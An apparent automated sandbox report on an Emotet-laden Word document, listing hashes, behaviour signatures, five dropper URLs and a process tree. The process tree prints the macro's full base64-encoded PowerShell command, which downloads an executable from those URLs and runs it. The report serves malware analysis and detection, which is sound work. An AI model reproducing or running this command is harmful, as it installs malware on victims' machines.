Overview

overview

10

Static

static

8

emotet_doc

windows7_x64

10

Analysis

  • max time kernel
    11s
  • max time network
    21s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    31-07-2020 16:13

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    1fb47e6f82f631e677d6380ad07189b514c6783860b7a0785ad02f10f4622820.doc

  • Size

    170KB

  • MD5

    0e806d6d7a4c5aa39bd197c2e20fd96f

  • SHA1

    b7b23da35d166b21071f4bcd3dd82a43ba32a75b

  • SHA256

    1fb47e6f82f631e677d6380ad07189b514c6783860b7a0785ad02f10f4622820

  • SHA512

    80b2501edd9d434cc0752e981da15c49cda8bbaeb0da80aa379c9774901bc504066918bdb3247b68e323f61de8101e48b33ae62fad16b94db58077d83bcc0fad

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://pufferfiz.net/btrsports/3_qr_elsv8z8sb/
exe.dropper

http://rnetwork.com.br/administrator/itn1q_s_nhf/
exe.dropper

http://essoft.com/cgi-bin/bmkhn_v_pd5gahs8/
exe.dropper

http://dairyfocus.com.au/administrator/andxl/zvsg2_ijx_nd82wyrwn/
exe.dropper

http://kobes.net/cgi-bin/18i_56g1_o9cw7yj/

Signatures

  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1fb47e6f82f631e677d6380ad07189b514c6783860b7a0785ad02f10f4622820.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABEAEsAUABVAFcAZQBrAGIAPQAnAEYATABRAEoATwBkAGEAZwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBgAFIASQBgAFQAWQBwAFIATwBUAE8AYwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAFgATwBFAEkAaQBkAGEAIAA9ACAAJwAyADgAMAAnADsAJABWAFoASABSAEgAagBwAHQAPQAnAFUASABTAEsAWgB3AGIAYQAnADsAJABIAEsAUwBMAFkAZgBrAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAWABPAEUASQBpAGQAYQArACcALgBlAHgAZQAnADsAJABNAE8ATgBBAFcAYgBmAGcAPQAnAFAASQBMAEQAQgBiAGcAZgAnADsAJABaAFEAUABUAE8AZQBuAHIAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AdwBlAEIAQwBMAEkAZQBuAFQAOwAkAEcAWABNAEMAWQB0AG8AcQA9ACcAaAB0AHQAcAA6AC8ALwBwAHUAZgBmAGUAcgBmAGkAegAuAG4AZQB0AC8AYgB0AHIAcwBwAG8AcgB0AHMALwAzAF8AcQByAF8AZQBsAHMAdgA4AHoAOABzAGIALwAqAGgAdAB0AHAAOgAvAC8AcgBuAGUAdAB3AG8AcgBrAC4AYwBvAG0ALgBiAHIALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AaQB0AG4AMQBxAF8AcwBfAG4AaABmAC8AKgBoAHQAdABwADoALwAvAGUAcwBzAG8AZgB0AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AYgBtAGsAaABuAF8AdgBfAHAAZAA1AGcAYQBoAHMAOAAvACoAaAB0AHQAcAA6AC8ALwBkAGEAaQByAHkAZgBvAGMAdQBzAC4AYwBvAG0ALgBhAHUALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AYQBuAGQAeABsAC8AegB2AHMAZwAyAF8AaQBqAHgAXwBuAGQAOAAyAHcAeQByAHcAbgAvACoAaAB0AHQAcAA6AC8ALwBrAG8AYgBlAHMALgBuAGUAdAAvAGMAZwBpAC0AYgBpAG4ALwAxADgAaQBfADUANgBnADEAXwBvADkAYwB3ADcAeQBqAC8AJwAuACIAcwBwAGAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABXAFQASQBLAEcAbABiAGcAPQAnAE4AQgBRAE0ATQBkAG4AdAAnADsAZgBvAHIAZQBhAGMAaAAoACQAWQBQAEEATwBBAGcAZgBsACAAaQBuACAAJABHAFgATQBDAFkAdABvAHEAKQB7AHQAcgB5AHsAJABaAFEAUABUAE8AZQBuAHIALgAiAGQAYABvAHcAYABOAGwAbwBBAGQAZgBJAGwAZQAiACgAJABZAFAAQQBPAEEAZwBmAGwALAAgACQASABLAFMATABZAGYAawByACkAOwAkAEsAVQBDAEYATQBiAHEAegA9ACcAWABSAEYAUQBEAHUAbQBmACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQASABLAFMATABZAGYAawByACkALgAiAGwARQBuAGAAZwB0AGgAIgAgAC0AZwBlACAAMgA1ADIANgA0ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAYABFAGAAQQBUAEUAIgAoACQASABLAFMATABZAGYAawByACkAOwAkAEIASABDAFkAUABmAHIAZQA9ACcARABWAEkAUABJAGkAdwBrACcAOwBiAHIAZQBhAGsAOwAkAFEASABIAFUASABhAGUAcAA9ACcAVwBYAFYAQQBIAHcAagByACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAVwBNAEEAVQB3AG4AdgA9ACcAUABDAFgASQBIAGsAZABvACcA
    1⤵
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    PID:1860

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1612-2-0x00000000096D0000-0x00000000096D4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1612-5-0x0000000007B90000-0x0000000007D90000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1612-4-0x0000000007B90000-0x0000000007D90000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1612-7-0x000000000BAE0000-0x000000000BAE4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1612-8-0x000000000CB60000-0x000000000CB64000-memory.dmp

    Filesize

    16KB

    Download